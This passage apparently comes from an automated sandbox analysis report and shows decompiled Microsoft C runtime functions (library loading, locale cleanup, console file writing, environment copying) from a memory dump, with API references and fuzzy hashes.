							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E00C61DC8(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E00C61DC8(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x00c86a43
0x00c86aed
0x00c86a4b
0x00c86a4d
0x00c86a54
0x00c86a56
0x00c86a5c
0x00c86a69
0x00c86a7e
0x00c86a82
0x00c86ad4
0x00c86ad4
0x00c86ad9
0x00c86add
0x00c86ae0
0x00c86ae0
0x00c86ae6
0x00c86ae8
0x00c86afd
0x00c86af8
0x00c86afc
0x00c86afc
0x00c86aea
0x00c86aea
0x00000000
0x00c86aea
0x00c86a84
0x00c86a8d
0x00c86ac4
0x00c86ac4
0x00c86ac6
0x00c86ac8
0x00000000
0x00000000
0x00c86ad0
0x00000000
0x00c86ad0
0x00c86a97
0x00c86a9c
0x00c86aa1
0x00000000
0x00000000
0x00c86aab
0x00c86ab0
0x00c86ab5
0x00000000
0x00000000
0x00c86aba
0x00c86ac0
0x00000000
0x00c86ac0
0x00c86a61
0x00000000
0x00000000
0x00000000
0x00c86a67
0x00c86af6
0x00000000

Strings

api-ms-, xrefs: 00C86A91
ext-ms-, xrefs: 00C86AA5

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 226cf4167440ca298ce1d6431beba21edd7c7323908dd1736495886db58374e5
Instruction ID: 5ef990dc44a94847e43548b10eaa53477c35f26b96da521c07c71475f8265225
Opcode Fuzzy Hash: 226cf4167440ca298ce1d6431beba21edd7c7323908dd1736495886db58374e5
Instruction Fuzzy Hash: 7221D531A05220BBCB26AB659C45F9B3758DF05B6CF199525EC26B7290D730EE00E7E8

Uniqueness

Uniqueness Score: -1.00%

Function 00C84ADB, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C84ADB(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00C847AA(_t45, 7);
					E00C847AA(_t45 + 0x1c, 7);
					E00C847AA(_t45 + 0x38, 0xc);
					E00C847AA(_t45 + 0x68, 0xc);
					E00C847AA(_t45 + 0x98, 2);
					E00C7CA6E( *((intOrPtr*)(_t45 + 0xa0)));
					E00C7CA6E( *((intOrPtr*)(_t45 + 0xa4)));
					E00C7CA6E( *((intOrPtr*)(_t45 + 0xa8)));
					E00C847AA(_t45 + 0xb4, 7);
					E00C847AA(_t45 + 0xd0, 7);
					E00C847AA(_t45 + 0xec, 0xc);
					E00C847AA(_t45 + 0x11c, 0xc);
					E00C847AA(_t45 + 0x14c, 2);
					E00C7CA6E( *((intOrPtr*)(_t45 + 0x154)));
					E00C7CA6E( *((intOrPtr*)(_t45 + 0x158)));
					E00C7CA6E( *((intOrPtr*)(_t45 + 0x15c)));
					return E00C7CA6E( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00c84ae1
0x00c84ae6
0x00c84aef
0x00c84afa
0x00c84b05
0x00c84b10
0x00c84b1e
0x00c84b29
0x00c84b34
0x00c84b3f
0x00c84b4d
0x00c84b5b
0x00c84b6c
0x00c84b7a
0x00c84b88
0x00c84b93
0x00c84b9e
0x00c84ba9
0x00000000
0x00c84bb9
0x00c84bbe

APIs

Part of subcall function 00C847AA: _free.LIBCMT ref: 00C847CF

_free.LIBCMT ref: 00C84B29

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C84B34
_free.LIBCMT ref: 00C84B3F
_free.LIBCMT ref: 00C84B93
_free.LIBCMT ref: 00C84B9E
_free.LIBCMT ref: 00C84BA9
_free.LIBCMT ref: 00C84BB4

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8aeba90142761b4543e74479a0087fd695ef834d7c0d95bcd58006f1decfefbc
Instruction ID: de7e4e6d52fc6bbed0da647207a4b7cd682a8131d00f8f9dc593917ae13e0f8d
Opcode Fuzzy Hash: 8aeba90142761b4543e74479a0087fd695ef834d7c0d95bcd58006f1decfefbc
Instruction Fuzzy Hash: BF119032540B09BAD624FFB0CD47FDB779DAF01B40F404828B69EA6052DB35B605B750

Uniqueness

Uniqueness Score: -1.00%

Function 00C8E755, Relevance: 9.3, APIs: 6, Instructions: 318
fileCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00C8E755(void* __eflags, intOrPtr _a4, signed int _a8, signed char _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				long _v40;
				signed char _v44;
				char _v47;
				void _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed char _v84;
				intOrPtr _v88;
				signed int _v92;
				char _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed char _v112;
				void* _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t172;
				signed int _t174;
				intOrPtr _t176;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				long _t202;
				void* _t206;
				intOrPtr _t212;
				signed char* _t213;
				char _t216;
				signed int _t219;
				char* _t220;
				void* _t222;
				long _t228;
				intOrPtr _t229;
				char _t231;
				signed char _t235;
				signed int _t244;
				intOrPtr _t247;
				signed char _t250;
				signed int _t251;
				signed char _t253;
				struct _OVERLAPPED* _t254;
				intOrPtr _t256;
				void* _t260;
				signed char _t261;
				void* _t262;
				void* _t264;
				long _t266;
				signed int _t269;
				long _t270;
				struct _OVERLAPPED* _t271;
				signed int _t272;
				intOrPtr _t274;
				signed int _t276;
				signed int _t279;
				long _t280;
				long _t281;
				signed char _t282;
				intOrPtr _t283;
				signed int _t284;
				void* _t285;
				void* _t286;

				_t172 =  *0xca3098; // 0x75d6936a
				_v8 = _t172 ^ _t284;
				_t174 = _a8;
				_t261 = _a12;
				_t272 = (_t174 & 0x0000003f) * 0x38;
				_t244 = _t174 >> 6;
				_v112 = _t261;
				_v84 = _t244;
				_t176 =  *((intOrPtr*)(0xca49c0 + _t244 * 4));
				_v80 = _t272;
				_t10 = _t176 + 0x18; // 0xc35de58b
				_t274 = _a16 + _t261;
				_v116 =  *((intOrPtr*)(_t272 + _t10));
				_v104 = _t274;
				_t178 = GetConsoleCP();
				_t242 = 0;
				_v124 = _t178;
				E00C6199B( &_v72, _t261, 0);
				asm("stosd");
				_t247 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t247;
				asm("stosd");
				asm("stosd");
				_t266 = _v112;
				_v40 = _t266;
				if(_t266 >= _t274) {
					L52:
					__eflags = _v60 - _t242;
				} else {
					_t276 = _v92;
					while(1) {
						_v47 =  *_t266;
						_v76 = _t242;
						_v44 = 1;
						_t186 =  *((intOrPtr*)(0xca49c0 + _v84 * 4));
						_v52 = _t186;
						if(_t247 != 0xfde9) {
							goto L23;
						}
						_t261 = _v80;
						_t212 = _t186 + 0x2e + _t261;
						_t254 = _t242;
						_v108 = _t212;
						while( *((intOrPtr*)(_t212 + _t254)) != _t242) {
							_t254 =  &(_t254->Internal);
							if(_t254 < 5) {
								continue;
							}
							break;
						}
						_t213 = _v40;
						_t269 = _v104 - _t213;
						_v44 = _t254;
						if(_t254 <= 0) {
							_t256 =  *((char*)(( *_t213 & 0x000000ff) + 0xca3298)) + 1;
							_v52 = _t256;
							__eflags = _t256 - _t269;
							if(_t256 > _t269) {
								__eflags = _t269;
								if(_t269 <= 0) {
									goto L44;
								} else {
									_t280 = _v40;
									do {
										_t262 = _t242 + _t261;
										_t216 =  *((intOrPtr*)(_t242 + _t280));
										_t242 =  &(_t242->Internal);
										 *((char*)(_t262 +  *((intOrPtr*)(0xca49c0 + _v84 * 4)) + 0x2e)) = _t216;
										_t261 = _v80;
										__eflags = _t242 - _t269;
									} while (_t242 < _t269);
									goto L43;
								}
							} else {
								_t270 = _v40;
								__eflags = _t256 - 4;
								_v144 = _t242;
								_t258 =  &_v144;
								_v140 = _t242;
								_v56 = _t270;
								_t219 = (0 | _t256 == 0x00000004) + 1;
								__eflags = _t219;
								_push( &_v144);
								_v44 = _t219;
								_push(_t219);
								_t220 =  &_v56;
								goto L21;
							}
						} else {
							_t228 =  *((char*)(( *(_t261 + _v52 + 0x2e) & 0x000000ff) + 0xca3298)) + 1;
							_v56 = _t228;
							_t229 = _t228 - _t254;
							_v52 = _t229;
							if(_t229 > _t269) {
								__eflags = _t269;
								if(_t269 > 0) {
									_t281 = _v40;
									do {
										_t264 = _t242 + _t261 + _t254;
										_t231 =  *((intOrPtr*)(_t242 + _t281));
										_t242 =  &(_t242->Internal);
										 *((char*)(_t264 +  *((intOrPtr*)(0xca49c0 + _v84 * 4)) + 0x2e)) = _t231;
										_t254 = _v44;
										_t261 = _v80;
										__eflags = _t242 - _t269;
									} while (_t242 < _t269);
									L43:
									_t276 = _v92;
								}
								L44:
								_t279 = _t276 + _t269;
								__eflags = _t279;
								L45:
								__eflags = _v60;
								_v92 = _t279;
							} else {
								_t261 = _t242;
								if(_t254 > 0) {
									_t283 = _v108;
									do {
										 *((char*)(_t284 + _t261 - 0xc)) =  *((intOrPtr*)(_t283 + _t261));
										_t261 = _t261 + 1;
									} while (_t261 < _t254);
									_t229 = _v52;
								}
								_t270 = _v40;
								if(_t229 > 0) {
									E00C60230( &_v16 + _t254, _t270, _v52);
									_t254 = _v44;
									_t285 = _t285 + 0xc;
								}
								if(_t254 > 0) {
									_t261 = _v44;
									_t271 = _t242;
									_t282 = _v80;
									do {
										_t260 = _t271 + _t282;
										_t271 =  &(_t271->Internal);
										 *(_t260 +  *((intOrPtr*)(0xca49c0 + _v84 * 4)) + 0x2e) = _t242;
									} while (_t271 < _t261);
									_t270 = _v40;
								}
								_v136 = _t242;
								_v120 =  &_v16;
								_t258 =  &_v136;
								_v132 = _t242;
								_push( &_v136);
								_t235 = (0 | _v56 == 0x00000004) + 1;
								_v44 = _t235;
								_push(_t235);
								_t220 =  &_v120;
								L21:
								_push(_t220);
								_push( &_v76);
								_t222 = E00C8A17F(_t258);
								_t286 = _t285 + 0x10;
								if(_t222 == 0xffffffff) {
									goto L52;
								} else {
									_t266 = _t270 + _v52 - 1;
									L31:
									_t266 = _t266 + 1;
									_v40 = _t266;
									_t193 = E00C828F9(_v124, _t242,  &_v76, _v44,  &_v32, 5, _t242, _t242);
									_t285 = _t286 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L52;
									} else {
										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t242) == 0) {
											L51:
											_v96 = GetLastError();
											goto L52;
										} else {
											_t276 = _v88 - _v112 + _t266;
											_v92 = _t276;
											if(_v100 < _v56) {
												goto L52;
											} else {
												if(_v47 != 0xa) {
													L38:
													if(_t266 >= _v104) {
														goto L52;
													} else {
														_t247 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v48 = _t198;
													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t242) == 0) {
														goto L51;
													} else {
														if(_v100 < 1) {
															goto L52;
														} else {
															_v88 = _v88 + 1;
															_t276 = _t276 + 1;
															_v92 = _t276;
															goto L38;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L53;
						L23:
						_t250 = _v80;
						_t261 =  *((intOrPtr*)(_t250 + _t186 + 0x2d));
						__eflags = _t261 & 0x00000004;
						if((_t261 & 0x00000004) == 0) {
							_v33 =  *_t266;
							_t188 = E00C7B688(_t261);
							_t251 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t251 * 2)) - _t242;
							if( *((intOrPtr*)(_t188 + _t251 * 2)) >= _t242) {
								_push(1);
								_push(_t266);
								goto L30;
							} else {
								_t202 = _t266 + 1;
								_v56 = _t202;
								__eflags = _t202 - _v104;
								if(_t202 >= _v104) {
									_t261 = _v84;
									_t253 = _v80;
									_t242 = _v33;
									 *((char*)(_t253 +  *((intOrPtr*)(0xca49c0 + _t261 * 4)) + 0x2e)) = _v33;
									 *(_t253 +  *((intOrPtr*)(0xca49c0 + _t261 * 4)) + 0x2d) =  *(_t253 +  *((intOrPtr*)(0xca49c0 + _t261 * 4)) + 0x2d) | 0x00000004;
									_t279 = _t276 + 1;
									goto L45;
								} else {
									_t206 = E00C7CC38( &_v76, _t266, 2);
									_t286 = _t285 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L52;
									} else {
										_t266 = _v56;
										goto L31;
									}
								}
							}
						} else {
							_t261 = _t261 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t250 + _t186 + 0x2e));
							_v23 =  *_t266;
							_push(2);
							 *(_t250 + _v52 + 0x2d) = _t261;
							_push( &_v24);
							L30:
							_push( &_v76);
							_t190 = E00C7CC38();
							_t286 = _t285 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L52;
							} else {
								goto L31;
							}
						}
						goto L53;
					}
				}
				L53:
				if(__eflags != 0) {
					_t183 = _v72;
					_t167 = _t183 + 0x350;
					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t167;
				}
				__eflags = _v8 ^ _t284;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E00C572B1(_a4, _t242, _v8 ^ _t284, _t261, _a4,  &_v96);
			}

0x00c8e760
0x00c8e767
0x00c8e76a
0x00c8e76f
0x00c8e777
0x00c8e77a
0x00c8e77e
0x00c8e781
0x00c8e784
0x00c8e78b
0x00c8e78e
0x00c8e795
0x00c8e797
0x00c8e79a
0x00c8e79d
0x00c8e7a3
0x00c8e7a5
0x00c8e7ac
0x00c8e7b9
0x00c8e7ba
0x00c8e7bd
0x00c8e7c0
0x00c8e7c1
0x00c8e7c2
0x00c8e7c5
0x00c8e7ca
0x00c8ead6
0x00c8ead6
0x00c8e7d0
0x00c8e7d0
0x00c8e7d3
0x00c8e7d5
0x00c8e7db
0x00c8e7de
0x00c8e7e5
0x00c8e7ec
0x00c8e7f5
0x00000000
0x00000000
0x00c8e7fb
0x00c8e801
0x00c8e803
0x00c8e805
0x00c8e808
0x00c8e80d
0x00c8e811
0x00000000
0x00000000
0x00000000
0x00c8e811
0x00c8e816
0x00c8e819
0x00c8e81b
0x00c8e820
0x00c8e8d2
0x00c8e8d3
0x00c8e8d6
0x00c8e8d8
0x00c8ea86
0x00c8ea88
0x00000000
0x00c8ea8a
0x00c8ea8a
0x00c8ea8d
0x00c8ea90
0x00c8ea99
0x00c8ea9c
0x00c8ea9d
0x00c8eaa1
0x00c8eaa4
0x00c8eaa4
0x00000000
0x00c8eaa8
0x00c8e8de
0x00c8e8de
0x00c8e8e3
0x00c8e8e6
0x00c8e8ec
0x00c8e8f2
0x00c8e8fb
0x00c8e8fe
0x00c8e8fe
0x00c8e8ff
0x00c8e900
0x00c8e903
0x00c8e904
0x00000000
0x00c8e904
0x00c8e826
0x00c8e835
0x00c8e836
0x00c8e839
0x00c8e83b
0x00c8e840
0x00c8ea51
0x00c8ea53
0x00c8ea55
0x00c8ea58
0x00c8ea5d
0x00c8ea66
0x00c8ea69
0x00c8ea6a
0x00c8ea6e
0x00c8ea71
0x00c8ea74
0x00c8ea74
0x00c8ea78
0x00c8ea78
0x00c8ea78
0x00c8ea7b
0x00c8ea7b
0x00c8ea7b
0x00c8ea7d
0x00c8ea7d
0x00c8ea81
0x00c8e846
0x00c8e846
0x00c8e84a
0x00c8e84c
0x00c8e84f
0x00c8e852
0x00c8e856
0x00c8e857
0x00c8e85b
0x00c8e85b
0x00c8e85e
0x00c8e863
0x00c8e86f
0x00c8e874
0x00c8e877
0x00c8e877
0x00c8e87c
0x00c8e87e
0x00c8e881
0x00c8e883
0x00c8e886
0x00c8e889
0x00c8e88c
0x00c8e894
0x00c8e898
0x00c8e89c
0x00c8e89c
0x00c8e8a2
0x00c8e8a8
0x00c8e8ab
0x00c8e8b3
0x00c8e8ba
0x00c8e8be
0x00c8e8bf
0x00c8e8c2
0x00c8e8c3
0x00c8e907
0x00c8e907
0x00c8e90b
0x00c8e90c
0x00c8e911
0x00c8e917
0x00000000
0x00c8e91d
0x00c8e921
0x00c8e9aa
0x00c8e9b1
0x00c8e9b9
0x00c8e9c1
0x00c8e9c6
0x00c8e9c9
0x00c8e9ce
0x00000000
0x00c8e9d4
0x00c8e9e9
0x00c8eacd
0x00c8ead3
0x00000000
0x00c8e9ef
0x00c8e9f8
0x00c8e9fa
0x00c8ea00
0x00000000
0x00c8ea06
0x00c8ea0a
0x00c8ea40
0x00c8ea43
0x00000000
0x00c8ea49
0x00c8ea49
0x00000000
0x00c8ea49
0x00c8ea0c
0x00c8ea0e
0x00c8ea10
0x00c8ea29
0x00000000
0x00c8ea2f
0x00c8ea33
0x00000000
0x00c8ea39
0x00c8ea39
0x00c8ea3c
0x00c8ea3d
0x00000000
0x00c8ea3d
0x00c8ea33
0x00c8ea29
0x00c8ea0a
0x00c8ea00
0x00c8e9e9
0x00c8e9ce
0x00c8e917
0x00c8e840
0x00000000
0x00c8e928
0x00c8e928
0x00c8e92b
0x00c8e92f
0x00c8e932
0x00c8e954
0x00c8e957
0x00c8e95c
0x00c8e960
0x00c8e964
0x00c8e992
0x00c8e994
0x00000000
0x00c8e966
0x00c8e966
0x00c8e969
0x00c8e96c
0x00c8e96f
0x00c8eaaa
0x00c8eaad
0x00c8eab0
0x00c8eaba
0x00c8eac5
0x00c8eaca
0x00000000
0x00c8e975
0x00c8e97c
0x00c8e981
0x00c8e984
0x00c8e987
0x00000000
0x00c8e98d
0x00c8e98d
0x00000000
0x00c8e98d
0x00c8e987
0x00c8e96f
0x00c8e934
0x00c8e938
0x00c8e93b
0x00c8e940
0x00c8e946
0x00c8e948
0x00c8e94f
0x00c8e995
0x00c8e998
0x00c8e999
0x00c8e99e
0x00c8e9a1
0x00c8e9a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00c8e9a4
0x00000000
0x00c8e932
0x00c8e7d3
0x00c8ead9
0x00c8ead9
0x00c8eadb
0x00c8eade
0x00c8eade
0x00c8eade
0x00c8eade
0x00c8eaf0
0x00c8eaf2
0x00c8eaf3
0x00c8eaf4
0x00c8eafe

APIs

GetConsoleCP.KERNEL32(?,00C548CE,00000000), ref: 00C8E79D
__fassign.LIBCMT ref: 00C8E97C
__fassign.LIBCMT ref: 00C8E999
WriteFile.KERNEL32(?,00C548CE,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C8E9E1
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00C8EA21
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C8EACD

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 5205c25b57b252de8e8d60f09f8aa50d201b19ed2b29a43ebb59dbbf2cc03b55
Instruction ID: bc644a30748e05498d0c67d7573ce8d9bea36ca8ded43eb253cf39a3ec721564
Opcode Fuzzy Hash: 5205c25b57b252de8e8d60f09f8aa50d201b19ed2b29a43ebb59dbbf2cc03b55
Instruction Fuzzy Hash: 6AD1BE71D002589FCF15DFE8C880AEDBBB5FF49318F28016AE865BB241D730AA46DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00C76FB0, Relevance: 9.2, APIs: 6, Instructions: 221
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00C76FB0(void* __ebx, intOrPtr* _a4) {
				signed short* _v0;
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				signed int _v20;
				signed short* _v40;
				intOrPtr _v52;
				intOrPtr* _v88;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t39;
				intOrPtr _t40;
				void* _t43;
				signed int _t47;
				signed int _t53;
				signed short _t54;
				signed int _t55;
				signed int _t56;
				void* _t60;
				void* _t62;
				intOrPtr _t63;
				intOrPtr* _t65;
				signed short _t69;
				signed int _t70;
				intOrPtr* _t71;
				intOrPtr* _t75;
				signed short* _t77;
				void* _t79;
				intOrPtr* _t81;
				intOrPtr* _t86;
				signed short* _t95;
				signed int _t97;
				void* _t98;
				signed int _t106;
				signed short* _t107;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t113;
				signed int _t114;
				void* _t116;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr* _t121;
				signed short* _t123;
				intOrPtr* _t125;
				void* _t128;
				intOrPtr _t129;
				signed short* _t130;
				signed short* _t132;
				intOrPtr _t133;
				intOrPtr* _t134;
				void* _t138;
				void* _t140;
				void* _t141;

				_push(_t80);
				_t75 = _a4;
				_t111 = 0;
				_t125 = _t75;
				_t33 =  *_t75;
				while(_t33 != 0) {
					if(_t33 != 0x3d) {
						_t111 = _t111 + 1;
					}
					_t81 = _t125;
					_t116 = _t81 + 1;
					do {
						_t34 =  *_t81;
						_t81 = _t81 + 1;
					} while (_t34 != 0);
					_t125 = _t125 + 1 + _t81 - _t116;
					_t33 =  *_t125;
				}
				_t3 = _t111 + 1; // 0x1
				_t117 = E00C806FB(_t3, 4);
				if(_t117 == 0) {
					L19:
					_t117 = 0;
					goto L20;
				} else {
					_v8 = _t117;
					while(1) {
						_t112 =  *_t75;
						if(_t112 == 0) {
							break;
						}
						_t86 = _t75;
						_t128 = _t86 + 1;
						do {
							_t39 =  *_t86;
							_t86 = _t86 + 1;
						} while (_t39 != 0);
						_t40 = _t86 - _t128 + 1;
						_v12 = _t40;
						if(_t112 == 0x3d) {
							L15:
							_t75 = _t75 + _t40;
							continue;
						} else {
							_t129 = E00C806FB(_t40, 1);
							if(_t129 == 0) {
								_push(_t117);
								L44();
								E00C7CA6E(0);
								goto L19;
							} else {
								_t43 = E00C7A79C(_t129, _v12, _t75);
								_t140 = _t140 + 0xc;
								if(_t43 != 0) {
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									E00C7B914();
									asm("int3");
									_t138 = _t140;
									_t141 = _t140 - 0xc;
									_push(_t75);
									_t77 = _v40;
									_v52 = 0;
									_t113 = 0;
									_push(_t129);
									_push(_t117);
									_t47 =  *_t77 & 0x0000ffff;
									_t130 = _t77;
									if(_t47 != 0) {
										_t106 = _t47;
										_t79 = 0x3d;
										do {
											if(_t106 != _t79) {
												_t113 = _t113 + 1;
											}
											_t107 = _t130;
											_t14 =  &(_t107[1]); // 0x2
											_t123 = _t14;
											do {
												_t69 =  *_t107;
												_t107 =  &(_t107[1]);
											} while (_t69 != _v12);
											_t130 =  &(( &(_t130[_t107 - _t123 >> 1]))[1]);
											_t70 =  *_t130 & 0x0000ffff;
											_t106 = _t70;
										} while (_t70 != 0);
										_t77 = _v0;
									}
									_t19 = _t113 + 1; // 0x1
									_t119 = E00C806FB(_t19, 4);
									if(_t119 == 0) {
										L42:
										E00C7CA6E(0);
										return _t119;
									} else {
										_t53 =  *_t77 & 0x0000ffff;
										_v16 = _t119;
										if(_t53 != 0) {
											_t114 = _t53;
											do {
												_t95 = _t77;
												_t21 =  &(_t95[1]); // 0x2
												_t132 = _t21;
												do {
													_t54 =  *_t95;
													_t95 =  &(_t95[1]);
												} while (_t54 != _v12);
												_t97 = _t95 - _t132 >> 1;
												_t23 = _t97 + 1; // -1
												_t55 = _t23;
												_t98 = 0x3d;
												_v20 = _t55;
												if(_t114 == _t98) {
													goto L39;
												} else {
													_t133 = E00C806FB(_t55, 2);
													if(_t133 == 0) {
														E00C771BC(_t119);
														_t119 = 0;
														E00C7CA6E(0);
														goto L42;
													} else {
														_t60 = E00C8040D(_t133, _v20, _t77);
														_t141 = _t141 + 0xc;
														if(_t60 != 0) {
															_push(0);
															_push(0);
															_push(0);
															_push(0);
															_push(0);
															_t62 = E00C7B914();
															asm("int3");
															_push(_t138);
															_push(_t133);
															_t134 = _v88;
															if(_t134 != 0) {
																_t63 =  *_t134;
																_push(_t119);
																_t121 = _t134;
																while(_t63 != 0) {
																	E00C7CA6E(_t63);
																	_t121 = _t121 + 4;
																	_t63 =  *_t121;
																}
																_t62 = E00C7CA6E(_t134);
															}
															return _t62;
														} else {
															_t65 = _v16;
															 *_t65 = _t133;
															_v16 = _t65 + 4;
															E00C7CA6E(0);
															_t55 = _v20;
															goto L39;
														}
													}
												}
												goto L50;
												L39:
												_t77 =  &(_t77[_t55]);
												_t56 =  *_t77 & 0x0000ffff;
												_t114 = _t56;
											} while (_t56 != 0);
										}
										goto L42;
									}
								} else {
									_t71 = _v8;
									 *_t71 = _t129;
									_v8 = _t71 + 4;
									E00C7CA6E(0);
									_t40 = _v12;
									goto L15;
								}
							}
						}
						goto L50;
					}
					L20:
					E00C7CA6E(0);
					return _t117;
				}
				L50:
			}

0x00c76fb6
0x00c76fb8
0x00c76fbb
0x00c76fbf
0x00c76fc1
0x00c76fdd
0x00c76fc7
0x00c76fc9
0x00c76fc9
0x00c76fca
0x00c76fcc
0x00c76fcf
0x00c76fcf
0x00c76fd1
0x00c76fd2
0x00c76fd9
0x00c76fdb
0x00c76fdb
0x00c76fe1
0x00c76fec
0x00c76ff2
0x00c77062
0x00c77062
0x00000000
0x00c76ff4
0x00c76ff4
0x00c7704b
0x00c7704b
0x00c7704f
0x00000000
0x00000000
0x00c76ff9
0x00c76ffb
0x00c76ffe
0x00c76ffe
0x00c77000
0x00c77001
0x00c77007
0x00c7700a
0x00c77010
0x00c77049
0x00c77049
0x00000000
0x00c77012
0x00c7701a
0x00c77020
0x00c77053
0x00c77054
0x00c7705b
0x00000000
0x00c77022
0x00c77027
0x00c7702c
0x00c77031
0x00c77075
0x00c77076
0x00c77077
0x00c77078
0x00c77079
0x00c7707a
0x00c7707f
0x00c77083
0x00c77085
0x00c77088
0x00c77089
0x00c7708e
0x00c77091
0x00c77093
0x00c77094
0x00c77095
0x00c77098
0x00c7709d
0x00c770a1
0x00c770a3
0x00c770a4
0x00c770a7
0x00c770a9
0x00c770a9
0x00c770aa
0x00c770ac
0x00c770ac
0x00c770af
0x00c770af
0x00c770b2
0x00c770b5
0x00c770c2
0x00c770c5
0x00c770c8
0x00c770ca
0x00c770cf
0x00c770cf
0x00c770d2
0x00c770dd
0x00c770e3
0x00c77170
0x00c77173
0x00c7717f
0x00c770e9
0x00c770e9
0x00c770ec
0x00c770f2
0x00c770f4
0x00c770f6
0x00c770f6
0x00c770f8
0x00c770f8
0x00c770fb
0x00c770fb
0x00c770fe
0x00c77101
0x00c77109
0x00c7710d
0x00c7710d
0x00c77110
0x00c77111
0x00c77117
0x00000000
0x00c77119
0x00c77121
0x00c77127
0x00c77161
0x00c77166
0x00c77169
0x00000000
0x00c77129
0x00c7712e
0x00c77133
0x00c77138
0x00c77182
0x00c77183
0x00c77184
0x00c77185
0x00c77186
0x00c77187
0x00c7718c
0x00c7718f
0x00c77192
0x00c77193
0x00c77198
0x00c7719a
0x00c7719c
0x00c7719d
0x00c771ad
0x00c771a2
0x00c771a7
0x00c771aa
0x00c771ac
0x00c771b2
0x00c771b8
0x00c771bb
0x00c7713a
0x00c7713a
0x00c7713d
0x00c77142
0x00c77148
0x00c7714d
0x00000000
0x00c77150
0x00c77138
0x00c77127
0x00000000
0x00c77151
0x00c77151
0x00c77154
0x00c77157
0x00c77159
0x00c7715e
0x00000000
0x00c770f2
0x00c77033
0x00c77033
0x00c77038
0x00c7703d
0x00c77040
0x00c77045
0x00000000
0x00c77048
0x00c77031
0x00c77020
0x00000000
0x00c77010
0x00c77064
0x00c77066
